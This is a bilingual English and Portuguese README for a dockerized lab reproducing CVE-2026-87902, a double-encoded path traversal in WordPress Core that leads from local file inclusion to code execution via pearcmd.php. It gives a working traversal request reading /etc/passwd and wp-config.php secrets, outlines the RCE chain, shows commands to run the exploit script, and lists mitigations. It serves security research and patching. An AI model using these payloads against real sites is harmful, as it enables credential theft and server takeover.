CVE-2026-87902: WordPress double-encoded path traversal — LFI to RCECVE-2026-87902: path traversal com dupla codificação no WordPress — de LFI a RCE
A dockerized lab for CVE-2026-87902 — WordPress Core resolves the public pagename parameter, re-decodes it after validation, and lets a double-encoded ../ traverse the filesystem, chaining into RCE through pearcmd.php.Um lab dockerizado da CVE-2026-87902 — o WordPress Core resolve o parâmetro público pagename, o decodifica de novo depois de validar, e deixa um ../ com dupla codificação percorrer o sistema de arquivos, encadeando até RCE via pearcmd.php.
Proof of concept on GitHubProva de conceito no GitHubAuthorization: this is a self-contained lab built for education and security research. The vulnerable WordPress stack runs entirely inside Docker on your own machine. Do not point the exploit at sites you don't own or aren't explicitly authorized to test — misuse can be a crime.
Summary
CVE-2026-87902 is a CVSS 4.0 9.2 (Critical) path traversal bug
(CWE-22) in WordPress Core 4.7.0 – 7.1.1. The page-template resolution
logic validates the public pagename query parameter against traversal
sequences, then URL-decodes it a second time without re-validating — so a
double-encoded ../ slips past the check and reaches the template include as a
real directory traversal.
Unauthenticated, it yields local file inclusion. Where a handful of common
conditions line up, the same primitive chains into remote code execution via
PEAR's pearcmd.php. This repository packages a vulnerable WordPress stack, the
lab environment, and a Python exploit that drives both the LFI and the RCE path.
How the vulnerability works
WordPress resolves a requested page by feeding the pagename query variable into
its template lookup. The guard rejects raw ../ sequences, but the value is then
decoded again before it's used to build the include path — and that second
decode is never re-checked.
Double URL encoding walks straight through the gap:
%252e%252e%252f ← what the attacker sends
%2e%2e%2f ← after the 1st decode: passes the traversal check
../ ← after the 2nd decode: used in the include pathThe validator only ever inspects the first form; the include only ever sees the last. Chain the segment and you climb out of the template directory to anywhere the PHP process can read.
Affected versions
| WordPress Core | Status |
|---|---|
4.7.0 – 7.1.1 | Vulnerable |
7.1.2 | Fixed |
4.7.37 (backport) | Fixed |
Impact
At minimum, an unauthenticated attacker can include arbitrary local files —
enough to leak source and secrets (for example wp-config.php, which holds the
database credentials and auth keys).
The escalation to RCE needs three preconditions to hold at once. All three are present in the lab:
| Precondition | Why it's needed for RCE |
|---|---|
An active theme with a page- prefixed directory | Gives the resolver a path the traversal can pivot from |
PHP register_argc_argv enabled | Lets query-string tokens reach pearcmd.php as CLI argv |
pearcmd.php present on disk | The gadget: turns those argv tokens into a written file |
When they do, the traversal reaches pearcmd.php and abuses its
config-create behaviour to write attacker-controlled PHP to a known path, which
is then executed on a follow-up request.
Proof of concept
LFI — read a local file by traversing out of the template directory with the double-encoded segment:
GET /?pagename=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd HTTP/1.1
Host: localhost:8091Swap the tail for wp-config.php to pull WordPress's database credentials and
secret keys.
RCE — the pearcmd.php chain. With the three preconditions above satisfied,
the traversal targets PEAR's command handler and, via register_argc_argv, feeds
it the tokens that make config-create drop a PHP stager to disk; a second
request executes it. The exploit script wires the full chain end to end — see
exploit/exploit.py in the repo for the exact request sequence and payload
construction.
Run it
Prerequisites: Docker, Docker Compose, and Python 3.
1. Bring up the vulnerable stack:
docker compose up --build2. Install the exploit's dependencies:
pip install -r requirements.txt3. Run the exploit — it targets http://localhost:8091 by default:
python3 exploit.pyPick a mode to run just the LFI, or drive the RCE with a command of your choice:
python3 exploit.py --mode lfi
python3 exploit.py --mode rce --cmd 'id'Mitigation
- Update to WordPress 7.1.2 or later (or the
4.7.37backport). - Disable
register_argc_argvin your PHP configuration — it severs the pearcmd RCE chain even on an unpatched core. - Remove or restrict access to
pearcmd.phpon production hosts.
References
Autorização: este é um lab autocontido, feito para fins educacionais e pesquisa de segurança. A stack WordPress vulnerável roda inteiramente dentro do Docker, na sua própria máquina. Não aponte o exploit para sites que você não possui ou que não está explicitamente autorizado a testar — uso indevido pode ser crime.
Resumo
A CVE-2026-87902 é uma falha de path traversal (CWE-22) CVSS 4.0 9.2
(Crítica) no WordPress Core 4.7.0 – 7.1.1. A lógica de resolução de
templates de página valida o parâmetro público pagename contra sequências de
traversal e, em seguida, decodifica a URL uma segunda vez sem revalidar — de
modo que um ../ com dupla codificação passa pela verificação e chega ao include
do template como um traversal de diretório de verdade.
Sem autenticação, isso resulta em local file inclusion. Quando algumas
condições comuns se alinham, a mesma primitiva encadeia até execução remota de
código por meio do pearcmd.php do PEAR. Este repositório empacota uma stack
WordPress vulnerável, o ambiente de lab e um exploit em Python que conduz tanto o
caminho de LFI quanto o de RCE.
Como a vulnerabilidade funciona
O WordPress resolve uma página solicitada passando a variável de query pagename
para a busca de template. A proteção rejeita sequências ../ cruas, mas o valor é
então decodificado de novo antes de ser usado para montar o caminho do
include — e essa segunda decodificação nunca é reverificada.
A dupla codificação de URL atravessa direto pela brecha:
%252e%252e%252f ← o que o atacante envia
%2e%2e%2f ← após a 1ª decodificação: passa na verificação de traversal
../ ← após a 2ª decodificação: usado no caminho do includeO validador só inspeciona a primeira forma; o include só enxerga a última. Encadeie o segmento e você sobe para fora do diretório de templates até qualquer lugar que o processo PHP consiga ler.
Versões afetadas
| WordPress Core | Status |
|---|---|
4.7.0 – 7.1.1 | Vulnerável |
7.1.2 | Corrigido |
4.7.37 (backport) | Corrigido |
Impacto
No mínimo, um atacante não autenticado consegue incluir arquivos locais
arbitrários — o suficiente para vazar código-fonte e segredos (por exemplo o
wp-config.php, que guarda as credenciais do banco e as chaves de autenticação).
A escalada para RCE exige três pré-condições simultâneas. Todas as três estão presentes no lab:
| Pré-condição | Por que é necessária para o RCE |
|---|---|
Um tema ativo com um diretório prefixado por page- | Dá ao resolver um caminho a partir do qual o traversal pivota |
PHP register_argc_argv habilitado | Faz tokens da query string chegarem ao pearcmd.php como argv |
pearcmd.php presente em disco | O gadget: transforma esses tokens argv em um arquivo escrito |
Quando isso acontece, o traversal alcança o pearcmd.php e abusa do comportamento
config-create para escrever PHP controlado pelo atacante em um caminho
conhecido, que é então executado em uma requisição seguinte.
Prova de conceito
LFI — ler um arquivo local percorrendo para fora do diretório de templates com o segmento de dupla codificação:
GET /?pagename=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd HTTP/1.1
Host: localhost:8091Troque o final por wp-config.php para extrair as credenciais do banco e as
chaves secretas do WordPress.
RCE — a cadeia do pearcmd.php. Com as três pré-condições acima satisfeitas, o
traversal mira o handler de comandos do PEAR e, via register_argc_argv, alimenta
os tokens que fazem o config-create gravar um stager PHP em disco; uma segunda
requisição o executa. O script do exploit conecta a cadeia inteira ponta a ponta
— veja exploit/exploit.py no repositório para a sequência exata de requisições e
a construção do payload.
Rodando o lab
Pré-requisitos: Docker, Docker Compose e Python 3.
1. Suba a stack vulnerável:
docker compose up --build2. Instale as dependências do exploit:
pip install -r requirements.txt3. Rode o exploit — ele mira http://localhost:8091 por padrão:
python3 exploit.pyEscolha um modo para rodar só o LFI, ou conduza o RCE com um comando à sua escolha:
python3 exploit.py --mode lfi
python3 exploit.py --mode rce --cmd 'id'Mitigação
- Atualize para o WordPress 7.1.2 ou posterior (ou o backport
4.7.37). - Desabilite o
register_argc_argvna sua configuração do PHP — isso corta a cadeia de RCE do pearcmd mesmo em um core sem patch. - Remova ou restrinja o acesso ao
pearcmd.phpem hosts de produção.